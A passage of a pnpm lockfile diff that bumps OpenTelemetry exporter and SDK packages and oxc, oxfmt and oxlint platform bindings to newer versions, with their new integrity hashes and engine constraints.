'@opentelemetry/exporter-logs-otlp-grpc@0.213.0': + resolution: {integrity: sha512-QiRZzvayEOFnenSXi85Eorgy5WTqyNQ+E7gjl6P6r+W3IUIwAIH8A9/BgMWfP056LwmdrBL6+qvnwaIEmug6Yg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-logs-otlp-http@0.212.0': - resolution: {integrity: sha512-JidJasLwG/7M9RTxV/64xotDKmFAUSBc9SNlxI32QYuUMK5rVKhHNWMPDzC7E0pCAL3cu+FyiKvsTwLi2KqPYw==} + '@opentelemetry/exporter-logs-otlp-http@0.213.0': + resolution: {integrity: sha512-vqDVSpLp09ZzcFIdb7QZrEFPxUlO3GzdhBKLstq3jhYB5ow3+ZtV5V0ngSdi/0BZs+J5WPiN1+UDV4X5zD/GzA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-logs-otlp-proto@0.212.0': - resolution: {integrity: sha512-RpKB5UVfxc7c6Ta1UaCrxXDTQ0OD7BCGT66a97Q5zR1x3+9fw4dSaiqMXT/6FAWj2HyFbem6Rcu1UzPZikGTWQ==} + '@opentelemetry/exporter-logs-otlp-proto@0.213.0': + resolution: {integrity: sha512-gQk41nqfK3KhDk8jbSo3LR/fQBlV7f6Q5xRcfDmL1hZlbgXQPdVFV9/rIfYUrCoq1OM+2NnKnFfGjBt6QpLSsA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-metrics-otlp-grpc@0.212.0': - resolution: {integrity: sha512-/6Gqf9wpBq22XsomR1i0iPGnbQtCq2Vwnrq5oiDPjYSqveBdK1jtQbhGfmpK2mLLxk4cPDtD1ZEYdIou5K8EaA==} + '@opentelemetry/exporter-metrics-otlp-grpc@0.213.0': + resolution: {integrity: sha512-Z8gYKUAU48qwm+a1tjnGv9xbE7a5lukVIwgF6Z5i3VPXPVMe4Sjra0nN3zU7m277h+V+ZpsPGZJ2Xf0OTkL7/w==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-metrics-otlp-http@0.212.0': - resolution: {integrity: sha512-8hgBw3aTTRpSTkU4b9MLf/2YVLnfWp+hfnLq/1Fa2cky+vx6HqTodo+Zv1GTIrAKMOOwgysOjufy0gTxngqeBg==} + '@opentelemetry/exporter-metrics-otlp-http@0.213.0': + resolution: {integrity: sha512-yw3fTIw4KQIRXC/ZyYQq5gtA3Ogfdfz/g5HVgleobQAcjUUE8Nj3spGMx8iQPp+S+u6/js7BixufRkXhzLmpJA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-metrics-otlp-proto@0.212.0': - resolution: {integrity: sha512-C7I4WN+ghn3g7SnxXm2RK3/sRD0k/BYcXaK6lGU3yPjiM7a1M25MLuM6zY3PeVPPzzTZPfuS7+wgn/tHk768Xw==} + '@opentelemetry/exporter-metrics-otlp-proto@0.213.0': + resolution: {integrity: sha512-geHF+zZaDb0/WRkJTxR8o8dG4fCWT/Wq7HBdNZCxwH5mxhwRi/5f37IDYH7nvU+dwU6IeY4Pg8TPI435JCiNkg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-prometheus@0.212.0': - resolution: {integrity: sha512-hJFLhCJba5MW5QHexZMHZdMhBfNqNItxOsN0AZojwD1W2kU9xM+BEICowFGJFo/vNV+I2BJvTtmuKafeDSAo7Q==} + '@opentelemetry/exporter-prometheus@0.213.0': + resolution: {integrity: sha512-FyV3/JfKGAgx+zJUwCHdjQHbs+YeGd2fOWvBHYrW6dmfv/w89lb8WhJTSZEoWgP525jwv/gFeBttlGu1flebdA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-trace-otlp-grpc@0.212.0': - resolution: {integrity: sha512-9xTuYWp8ClBhljDGAoa0NSsJcsxJsC9zCFKMSZJp1Osb9pjXCMRdA6fwXtlubyqe7w8FH16EWtQNKx/FWi+Ghw==} + '@opentelemetry/exporter-trace-otlp-grpc@0.213.0': + resolution: {integrity: sha512-L8y6piP4jBIIx1Nv7/9hkx25ql6/Cro/kQrs+f9e8bPF0Ar5Dm991v7PnbtubKz6Q4fT872H56QXUWVnz/Cs4Q==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-trace-otlp-http@0.212.0': - resolution: {integrity: sha512-v/0wMozNoiEPRolzC4YoPo4rAT0q8r7aqdnRw3Nu7IDN0CGFzNQazkfAlBJ6N5y0FYJkban7Aw5WnN73//6YlA==} + '@opentelemetry/exporter-trace-otlp-http@0.213.0': + resolution: {integrity: sha512-tnRmJD39aWrE/Sp7F6AbRNAjKHToDkAqBi6i0lESpGWz3G+f4bhVAV6mgSXH2o18lrDVJXo6jf9bAywQw43wRA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-trace-otlp-proto@0.212.0': - resolution: {integrity: sha512-d1ivqPT0V+i0IVOOdzGaLqonjtlk5jYrW7ItutWzXL/Mk+PiYb59dymy/i2reot9dDnBFWfrsvxyqdutGF5Vig==} + '@opentelemetry/exporter-trace-otlp-proto@0.213.0': + resolution: {integrity: sha512-six3vPq3sL+ge1iZOfKEg+RHuFQhGb8ZTdlvD234w/0gi8ty/qKD46qoGpKvM3amy5yYunWBKiFBW47WaVS26w==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-zipkin@2.5.1': - resolution: {integrity: sha512-Me6JVO7WqXGXsgr4+7o+B7qwKJQbt0c8WamFnxpkR43avgG9k/niTntwCaXiXUTjonWy0+61ZuX6CGzj9nn8CQ==} + '@opentelemetry/exporter-zipkin@2.6.0': + resolution: {integrity: sha512-AFP77OQMLfw/Jzh6WT2PtrywstNjdoyT9t9lYrYdk1s4igsvnMZ8DkZKCwxsItC01D+4Lydgrb+Wy0bAvpp8xg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.0.0 - '@opentelemetry/instrumentation@0.212.0': - resolution: {integrity: sha512-IyXmpNnifNouMOe0I/gX7ENfv2ZCNdYTF0FpCsoBcpbIHzk81Ww9rQTYTnvghszCg7qGrIhNvWC8dhEifgX9Jg==} + '@opentelemetry/instrumentation@0.213.0': + resolution: {integrity: sha512-3i9NdkET/KvQomeh7UaR/F4r9P25Rx6ooALlWXPIjypcEOUxksCmVu0zA70NBJWlrMW1rPr/LRidFAflLI+s/w==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/otlp-exporter-base@0.212.0': - resolution: {integrity: sha512-HoMv5pQlzbuxiMS0hN7oiUtg8RsJR5T7EhZccumIWxYfNo/f4wFc7LPDfFK6oHdG2JF/+qTocfqIHoom+7kLpw==} + '@opentelemetry/otlp-exporter-base@0.213.0': + resolution: {integrity: sha512-MegxAP1/n09Ob2dQvY5NBDVjAFkZRuKtWKxYev1R2M8hrsgXzQGkaMgoEKeUOyQ0FUyYcO29UOnYdQWmWa0PXg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/otlp-grpc-exporter-base@0.212.0': - resolution: {integrity: sha512-YidOSlzpsun9uw0iyIWrQp6HxpMtBlECE3tiHGAsnpEqJWbAUWcMnIffvIuvTtTQ1OyRtwwaE79dWSQ8+eiB7g==} + '@opentelemetry/otlp-grpc-exporter-base@0.213.0': + resolution: {integrity: sha512-XgRGuLE9usFNlnw2lgMIM4HTwpcIyjdU/xPoJ8v3LbBLBfjaDkIugjc9HoWa7ZSJ/9Bhzgvm/aD0bGdYUFgnTw==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/otlp-transformer@0.212.0': - resolution: {integrity: sha512-bj7zYFOg6Db7NUwsRZQ/WoVXpAf41WY2gsd3kShSfdpZQDRKHWJiRZIg7A8HvWsf97wb05rMFzPbmSHyjEl9tw==} + '@opentelemetry/otlp-transformer@0.213.0': + resolution: {integrity: sha512-RSuAlxFFPjeK4d5Y6ps8L2WhaQI6CXWllIjvo5nkAlBpmq2XdYWEBGiAbOF4nDs8CX4QblJDv5BbMUft3sEfDw==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/propagator-b3@2.5.1': - resolution: {integrity: sha512-AU6sZgunZrZv/LTeHP+9IQsSSH5p3PtOfDPe8VTdwYH69nZCfvvvXehhzu+9fMW2mgJMh5RVpiH8M9xuYOu5Dg==} + '@opentelemetry/propagator-b3@2.6.0': + resolution: {integrity: sha512-SguK4jMmRvQ0c0dxAMl6K+Eu1+01X0OP7RLiIuHFjOS8hlB23ZYNnhnbAdSQEh5xVXQmH0OAS0TnmVI+6vB2Kg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' - '@opentelemetry/propagator-jaeger@2.5.1': - resolution: {integrity: sha512-8+SB94/aSIOVGDUPRFSBRHVUm2A8ye1vC6/qcf/D+TF4qat7PC6rbJhRxiUGDXZtMtKEPM/glgv5cBGSJQymSg==} + '@opentelemetry/propagator-jaeger@2.6.0': + resolution: {integrity: sha512-KGWJuvp9X8X36bhHgIhWEnHAzXDInFr+Fvo9IQhhuu6pXLT8mF7HzFyx/X+auZUITvPaZhM39Phj3vK12MbhwA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' - '@opentelemetry/resources@2.5.1': - resolution: {integrity: sha512-BViBCdE/GuXRlp9k7nS1w6wJvY5fnFX5XvuEtWsTAOQFIO89Eru7lGW3WbfbxtCuZ/GbrJfAziXG0w0dpxL7eQ==} + '@opentelemetry/resources@2.6.0': + resolution: {integrity: sha512-D4y/+OGe3JSuYUCBxtH5T9DSAWNcvCb/nQWIga8HNtXTVPQn59j0nTBAgaAXxUVBDl40mG3Tc76b46wPlZaiJQ==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.3.0 <1.10.0' - '@opentelemetry/sdk-logs@0.212.0': - resolution: {integrity: sha512-qglb5cqTf0mOC1sDdZ7nfrPjgmAqs2OxkzOPIf2+Rqx8yKBK0pS7wRtB1xH30rqahBIut9QJDbDePyvtyqvH/Q==} + '@opentelemetry/sdk-logs@0.213.0': + resolution: {integrity: sha512-00xlU3GZXo3kXKve4DLdrAL0NAFUaZ9appU/mn00S/5kSUdAvyYsORaDUfR04Mp2CLagAOhrzfUvYozY/EZX2g==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.4.0 <1.10.0' - '@opentelemetry/sdk-metrics@2.5.1': - resolution: {integrity: sha512-RKMn3QKi8nE71ULUo0g/MBvq1N4icEBo7cQSKnL3URZT16/YH3nSVgWegOjwx7FRBTrjOIkMJkCUn/ZFIEfn4A==} + '@opentelemetry/sdk-metrics@2.6.0': + resolution: {integrity: sha512-CicxWZxX6z35HR83jl+PLgtFgUrKRQ9LCXyxgenMnz5A1lgYWfAog7VtdOvGkJYyQgMNPhXQwkYrDLujk7z1Iw==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.9.0 <1.10.0' - '@opentelemetry/sdk-node@0.212.0': - resolution: {integrity: sha512-tJzVDk4Lo44MdgJLlP+gdYdMnjxSNsjC/IiTxj5CFSnsjzpHXwifgl3BpUX67Ty3KcdubNVfedeBc/TlqHXwwg==} + '@opentelemetry/sdk-node@0.213.0': + resolution: {integrity: sha512-8s7SQtY8DIAjraXFrUf0+I90SBAUQbsMWMtUGKmusswRHWXtKJx42aJQMoxEtC82Csqj+IlBH6FoP8XmmUDSrQ==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.3.0 <1.10.0' - '@opentelemetry/sdk-trace-base@2.5.1': - resolution: {integrity: sha512-iZH3Gw8cxQn0gjpOjJMmKLd9GIaNh/E3v3ST67vyzLSxHBs14HsG4dy7jMYyC5WXGdBVEcM7U/XTF5hCQxjDMw==} + '@opentelemetry/sdk-trace-base@2.6.0': + resolution: {integrity: sha512-g/OZVkqlxllgFM7qMKqbPV9c1DUPhQ7d4n3pgZFcrnrNft9eJXZM2TNHTPYREJBrtNdRytYyvwjgL5geDKl3EQ==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.3.0 <1.10.0' - '@opentelemetry/sdk-trace-node@2.5.1': - resolution: {integrity: sha512-9lopQ6ZoElETOEN0csgmtEV5/9C7BMfA7VtF4Jape3i954b6sTY2k3Xw3CxUTKreDck/vpAuJM+EDo4zheUw+A==} + '@opentelemetry/sdk-trace-node@2.6.0': + resolution: {integrity: sha512-YhswtasmsbIGEFvLGvR9p/y3PVRTfFf+mgY8van4Ygpnv4sA3vooAjvh+qAn9PNWxs4/IwGGqiQS0PPsaRJ0vQ==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' @@ -1998,263 +2101,263 @@ packages: resolution: {integrity: sha512-cifvXDhcqMwwTlTK04GBNeIe7yyo28Mfby85QXFe1Yk8nmi36Ab/5UQwptOx84SsoGNRg+EVSjwzfSZMy6pmlw==} engines: {node: '>=14'} - '@oxc-project/types@0.114.0': - resolution: {integrity: sha512-//nBfbzHQHvJs8oFIjv6coZ6uxQ4alLfiPe6D5vit6c4pmxATHHlVwgB1k+Hv4yoAMyncdxgRBF5K4BYWUCzvA==} + '@oxc-project/types@0.115.0': + resolution: {integrity: sha512-4n91DKnebUS4yjUHl2g3/b2T+IUdCfmoZGhmwsovZCDaJSs+QkVAM+0AqqTxHSsHfeiMuueT75cZaZcT/m0pSw==} - '@oxfmt/binding-android-arm-eabi@0.35.0': - resolution: {integrity: sha512-BaRKlM3DyG81y/xWTsE6gZiv89F/3pHe2BqX2H4JbiB8HNVlWWtplzgATAE5IDSdwChdeuWLDTQzJ92Lglw3ZA==} + '@oxfmt/binding-android-arm-eabi@0.36.0': + resolution: {integrity: sha512-Z4yVHJWx/swHHjtr0dXrBZb6LxS+qNz1qdza222mWwPTUK4L790+5i3LTgjx3KYGBzcYpjaiZBw4vOx94dH7MQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [android] - '@oxfmt/binding-android-arm64@0.35.0': - resolution: {integrity: sha512-/O+EbuAJYs6nde/anv+aID6uHsGQApyE9JtYBo/79KyU8e6RBN3DMbT0ix97y1SOnCglurmL2iZ+hlohjP2PnQ==} + '@oxfmt/binding-android-arm64@0.36.0': + resolution: {integrity: sha512-3ElCJRFNPQl7jexf2CAa9XmAm8eC5JPrIDSjc9jSchkVSFTEqyL0NtZinBB2h1a4i4JgP1oGl/5G5n8YR4FN8Q==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [android] - '@oxfmt/binding-darwin-arm64@0.35.0': - resolution: {integrity: sha512-pGqRtqlNdn9d4VrmGUWVyQjkw79ryhI6je9y2jfqNUIZCfqceob+R97YYAoG7C5TFyt8ILdLVoN+L2vw/hSFyA==} + '@oxfmt/binding-darwin-arm64@0.36.0': + resolution: {integrity: sha512-nak4znWCqIExKhYSY/mz/lWsqWIpdsS7o0+SRzXR1Q0m7GrMcG1UrF1pS7TLGZhhkf7nTfEF7q6oZzJiodRDuw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [darwin] - '@oxfmt/binding-darwin-x64@0.35.0': - resolution: {integrity: sha512-8GmsDcSozTPjrCJeGpp+sCmS9+9V5yRrdEZ1p/sTWxPG5nYeAfSLuS0nuEYjXSO+CtdSbStIW6dxa+4NM58yRw==} + '@oxfmt/binding-darwin-x64@0.36.0': + resolution: {integrity: sha512-V4GP96thDnpKx6ADnMDnhIXNdtV+Ql9D4HUU+a37VTeVbs5qQSF/s6hhUP1b3xUqU7iRcwh72jUU2Y12rtGHAw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [darwin] - '@oxfmt/binding-freebsd-x64@0.35.0': - resolution: {integrity: sha512-QyfKfTe0ytHpFKHAcHCGQEzN45QSqq1AHJOYYxQMgLM3KY4xu8OsXHpCnINjDsV4XGnQzczJDU9e04Zmd8XqIQ==} + '@oxfmt/binding-freebsd-x64@0.36.0': + resolution: {integrity: sha512-/xapWCADfI5wrhxpEUjhI9fnw7MV5BUZizVa8e24n3VSK6A3Y1TB/ClOP1tfxNspykFKXp4NBWl6NtDJP3osqQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [freebsd] - '@oxfmt/binding-linux-arm-gnueabihf@0.35.0': - resolution: {integrity: sha512-u+kv3JD6P3J38oOyUaiCqgY5TNESzBRZJ5lyZQ6c2czUW2v5SIN9E/KWWa9vxoc+P8AFXQFUVrdzGy1tK+nbPQ==} + '@oxfmt/binding-linux-arm-gnueabihf@0.36.0': + resolution: {integrity: sha512-1lOmv61XMFIH5uNm27620kRRzWt/RK6tdn250BRDoG9W7OXGOQ5UyI1HVT+SFkoOoKztBiinWgi68+NA1MjBVQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@oxfmt/binding-linux-arm-musleabihf@0.35.0': - resolution: {integrity: sha512-1NiZroCiV57I7Pf8kOH4XGR366kW5zir3VfSMBU2D0V14GpYjiYmPYFAoJboZvp8ACnZKUReWyMkNKSa5ad58A==} + '@oxfmt/binding-linux-arm-musleabihf@0.36.0': + resolution: {integrity: sha512-vMH23AskdR1ujUS9sPck2Df9rBVoZUnCVY86jisILzIQ/QQ/yKUTi7tgnIvydPx7TyB/48wsQ5QMr5Knq5p/aw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@oxfmt/binding-linux-arm64-gnu@0.35.0': - resolution: {integrity: sha512-7Q0Xeg7ZnW2nxnZ4R7aF6DEbCFls4skgHZg+I63XitpNvJCbVIU8MFOTZlvZGRsY9+rPgWPQGeUpLHlyx0wvMA==} + '@oxfmt/binding-linux-arm64-gnu@0.36.0': + resolution: {integrity: sha512-Hy1V+zOBHpBiENRx77qrUTt5aPDHeCASRc8K5KwwAHkX2AKP0nV89eL17hsZrE9GmnXFjsNmd80lyf7aRTXsbw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@oxfmt/binding-linux-arm64-musl@0.35.0': - resolution: {integrity: sha512-5Okqi+uhYFxwKz8hcnUftNNwdm8BCkf6GSCbcz9xJxYMm87k1E4p7PEmAAbhLTk7cjSdDre6TDL0pDzNX+Y22Q==} + '@oxfmt/binding-linux-arm64-musl@0.36.0': + resolution: {integrity: sha512-SPGLJkOIHSIC6ABUQ5V8NqJpvYhMJueJv26NYqfCnwi/Mn6A61amkpJJ9Suy0Nmvs+OWESJpcebrBUbXPGZyQQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@oxfmt/binding-linux-ppc64-gnu@0.35.0': - resolution: {integrity: sha512-9k66pbZQXM/lBJWys3Xbc5yhl4JexyfqkEf/tvtq8976VIJnLAAL3M127xHA3ifYSqxdVHfVGTg84eiBHCGcNw==} + '@oxfmt/binding-linux-ppc64-gnu@0.36.0': + resolution: {integrity: sha512-3EuoyB8x9x8ysYJjbEO/M9fkSk72zQKnXCvpZMDHXlnY36/1qMp55Nm0PrCwjGO/1pen5hdOVkz9WmP3nAp2IQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [ppc64] os: [linux] - '@oxfmt/binding-linux-riscv64-gnu@0.35.0': - resolution: {integrity: sha512-aUcY9ofKPtjO52idT6t0SAQvEF6ctjzUQa1lLp7GDsRpSBvuTrBQGeq0rYKz3gN8dMIQ7mtMdGD9tT4LhR8jAQ==} + '@oxfmt/binding-linux-riscv64-gnu@0.36.0': + resolution: {integrity: sha512-MpY3itLwpGh8dnywtrZtaZ604T1m715SydCKy0+qTxetv+IHzuA+aO/AGzrlzUNYZZmtWtmDBrChZGibvZxbRQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [riscv64] os: [linux] - '@oxfmt/binding-linux-riscv64-musl@0.35.0': - resolution: {integrity: sha512-C6yhY5Hvc2sGM+mCPek9ZLe5xRUOC/BvhAt2qIWFAeXMn4il04EYIjl3DsWiJr0xDMTJhvMOmD55xTRPlNp39w==} + '@oxfmt/binding-linux-riscv64-musl@0.36.0': + resolution: {integrity: sha512-mmDhe4Vtx+XwQPRPn/V25+APnkApYgZ23q+6GVsNYY98pf3aU0aI3Me96pbRs/AfJ1jIiGC+/6q71FEu8dHcHw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [riscv64] os: [linux] - '@oxfmt/binding-linux-s390x-gnu@0.35.0': - resolution: {integrity: sha512-RG2hlvOMK4OMZpO3mt8MpxLQ0AAezlFqhn5mI/g5YrVbPFyoCv9a34AAvbSJS501ocOxlFIRcKEuw5hFvddf9g==} + '@oxfmt/binding-linux-s390x-gnu@0.36.0': + resolution: {integrity: sha512-AYXhU+DmNWLSnvVwkHM92fuYhogtVHab7UQrPNaDf1sxadugg9gWVmcgJDlIwxJdpk5CVW/TFvwUKwI432zhhA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [s390x] os: [linux] - '@oxfmt/binding-linux-x64-gnu@0.35.0': - resolution: {integrity: sha512-wzmh90Pwvqj9xOKHJjkQYBpydRkaXG77ZvDz+iFDRRQpnqIEqGm5gmim2s6vnZIkDGsvKCuTdtxm0GFmBjM1+w==} + '@oxfmt/binding-linux-x64-gnu@0.36.0': + resolution: {integrity: sha512-H16QhhQ3usoakMleiAAQ2mg0NsBDAdyE9agUgfC8IHHh3jZEbr0rIKwjEqwbOHK5M0EmfhJmr+aGO/MgZPsneA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@oxfmt/binding-linux-x64-musl@0.35.0': - resolution: {integrity: sha512-+HCqYCJPCUy5I+b2cf+gUVaApfgtoQT3HdnSg/l7NIcLHOhKstlYaGyrFZLmUpQt4WkFbpGKZZayG6zjRU0KFA==} + '@oxfmt/binding-linux-x64-musl@0.36.0': + resolution: {integrity: sha512-EFFGkixA39BcmHiCe2ECdrq02D6FCve5ka6ObbvrheXl4V+R0U/E+/uLyVx1X65LW8TA8QQHdnbdDallRekohw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@oxfmt/binding-openharmony-arm64@0.35.0': - resolution: {integrity: sha512-kFYmWfR9YL78XyO5ws+1dsxNvZoD973qfVMNFOS4e9bcHXGF7DvGC2tY5UDFwyMCeB33t3sDIuGONKggnVNSJA==} + '@oxfmt/binding-openharmony-arm64@0.36.0': + resolution: {integrity: sha512-zr/t369wZWFOj1qf06Z5gGNjFymfUNDrxKMmr7FKiDRVI1sNsdKRCuRL4XVjtcptKQ+ao3FfxLN1vrynivmCYg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [openharmony] - '@oxfmt/binding-win32-arm64-msvc@0.35.0': - resolution: {integrity: sha512-uD/NGdM65eKNCDGyTGdO8e9n3IHX+wwuorBvEYrPJXhDXL9qz6gzddmXH8EN04ejUXUujlq4FsoSeCfbg0Y+Jg==} + '@oxfmt/binding-win32-arm64-msvc@0.36.0': + resolution: {integrity: sha512-FxO7UksTv8h4olzACgrqAXNF6BP329+H322323iDrMB5V/+a1kcAw07fsOsUmqNrb9iJBsCQgH/zqcqp5903ag==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [win32] - '@oxfmt/binding-win32-ia32-msvc@0.35.0': - resolution: {integrity: sha512-oSRD2k8J2uxYDEKR2nAE/YTY9PobOEnhZgCmspHu0+yBQ665yH8lFErQVSTE7fcGJmJp/cC6322/gc8VFuQf7g==} + '@oxfmt/binding-win32-ia32-msvc@0.36.0': + resolution: {integrity: sha512-OjoMQ89H01M0oLMfr/CPNH1zi48ZIwxAKObUl57oh7ssUBNDp/2Vjf7E1TQ8M4oj4VFQ/byxl2SmcPNaI2YNDg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [ia32] os: [win32] - '@oxfmt/binding-win32-x64-msvc@0.35.0': - resolution: {integrity: sha512-WCDJjlS95NboR0ugI2BEwzt1tYvRDorDRM9Lvctls1SLyKYuNRCyrPwp1urUPFBnwgBNn9p2/gnmo7gFMySRoQ==} + '@oxfmt/binding-win32-x64-msvc@0.36.0': + resolution: {integrity: sha512-MoyeQ9S36ZTz/4bDhOKJgOBIDROd4dQ5AkT9iezhEaUBxAPdNX9Oq0jD8OSnCj3G4wam/XNxVWKMA52kmzmPtQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [win32] - '@oxlint-tsgolint/darwin-arm64@0.15.0': - resolution: {integrity: sha512-d7Ch+A6hic+RYrm32+Gh1o4lOrQqnFsHi721ORdHUDBiQPea+dssKUEMwIbA6MKmCy6TVJ02sQyi24OEfCiGzw==} + '@oxlint-tsgolint/darwin-arm64@0.16.0': + resolution: {integrity: sha512-WQt5lGwRPJBw7q2KNR0mSPDAaMmZmVvDlEEti96xLO7ONhyomQc6fBZxxwZ4qTFedjJnrHX94sFelZ4OKzS7UQ==} cpu: [arm64] os: [darwin] - '@oxlint-tsgolint/darwin-x64@0.15.0': - resolution: {integrity: sha512-Aoai2wAkaUJqp/uEs1gml6TbaPW4YmyO5Ai/vOSkiizgHqVctjhjKqmRiWTX2xuPY94VkwOLqp+Qr3y/0qSpWQ==} + '@oxlint-tsgolint/darwin-x64@0.16.0': + resolution: {integrity: sha512-VJo29XOzdkalvCTiE2v6FU3qZlgHaM8x8hUEVJGPU2i5W+FlocPpmn00+Ld2n7Q0pqIjyD5EyvZ5UmoIEJMfqg==} cpu: [x64] os: [darwin] - '@oxlint-tsgolint/linux-arm64@0.15.0': - resolution: {integrity: sha512-4og13a7ec4Vku5t2Y7s3zx6YJP6IKadb1uA9fOoRH6lm/wHWoCnxjcfJmKHXRZJII81WmbdJMSPxaBfwN/S68Q==} + '@oxlint-tsgolint/linux-arm64@0.16.0': + resolution: {integrity: sha512-MPfqRt1+XRHv9oHomcBMQ3KpTE+CSkZz14wUxDQoqTNdUlV0HWdzwIE9q65I3D9YyxEnqpM7j4qtDQ3apqVvbQ==} cpu: [arm64] os: [linux] - '@oxlint-tsgolint/linux-x64@0.15.0': - resolution: {integrity: sha512-9b9xzh/1Harn3a+XiKTK/8LrWw3VcqLfYp/vhV5/zAVR2Mt0d63WSp4FL+wG7DKnI2T/CbMFUFHwc7kCQjDMzQ==} + '@oxlint-tsgolint/linux-x64@0.16.0': + resolution: {integrity: sha512-XQSwVUsnwLokMhe1TD6IjgvW5WMTPzOGGkdFDtXWQmlN2YeTw94s/NN0KgDrn2agM1WIgAenEkvnm0u7NgwEyw==} cpu: [x64] os: [linux] - '@oxlint-tsgolint/win32-arm64@0.15.0': - resolution: {integrity: sha512-nNac5hewHdkk5mowOwTqB1ZD76zB/FsUiyUvdCyupq5cG54XyKqSLEp9QGbx7wFJkWCkeWmuwRed4sfpAlKaeA==} + '@oxlint-tsgolint/win32-arm64@0.16.0': + resolution: {integrity: sha512-EWdlspQiiFGsP2AiCYdhg5dTYyAlj6y1nRyNI2dQWq4Q/LITFHiSRVPe+7m7K7lcsZCEz2icN/bCeSkZaORqIg==} cpu: [arm64] os: [win32] - '@oxlint-tsgolint/win32-x64@0.15.0': - resolution: {integrity: sha512-ioAY2XLpy83E2EqOLH9p1cEgj0G2qB1lmAn0a3yFV1jHQB29LIPIKGNsu/tYCClpwmHN79pT5KZAHZOgWxxqNg==} + '@oxlint-tsgolint/win32-x64@0.16.0': + resolution: {integrity: sha512-1ufk8cgktXJuJZHKF63zCHAkaLMwZrEXnZ89H2y6NO85PtOXqu4zbdNl0VBpPP3fCUuUBu9RvNqMFiv0VsbXWA==} cpu: [x64] os: [win32] - '@oxlint/binding-android-arm-eabi@1.50.0': - resolution: {integrity: sha512-G7MRGk/6NCe+L8ntonRdZP7IkBfEpiZ/he3buLK6JkLgMHgJShXZ+BeOwADmspXez7U7F7L1Anf4xLSkLHiGTg==} + '@oxlint/binding-android-arm-eabi@1.51.0': + resolution: {integrity: sha512-jJYIqbx4sX+suIxWstc4P7SzhEwb4ArWA2KVrmEuu9vH2i0qM6QIHz/ehmbGE4/2fZbpuMuBzTl7UkfNoqiSgw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [android] - '@oxlint/binding-android-arm64@1.50.0': - resolution: {integrity: sha512-GeSuMoJWCVpovJi/e3xDSNgjeR8WEZ6MCXL6EtPiCIM2NTzv7LbflARINTXTJy2oFBYyvdf/l2PwHzYo6EdXvg==} + '@oxlint/binding-android-arm64@1.51.0': + resolution: {integrity: sha512-GtXyBCcH4ti98YdiMNCrpBNGitx87EjEWxevnyhcBK12k/Vu4EzSB45rzSC4fGFUD6sQgeaxItRCEEWeVwPafw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [android] - '@oxlint/binding-darwin-arm64@1.50.0': - resolution: {integrity: sha512-w3SY5YtxGnxCHPJ8Twl3KmS9oja1gERYk3AMoZ7Hv8P43ZtB6HVfs02TxvarxfL214Tm3uzvc2vn+DhtUNeKnw==} + 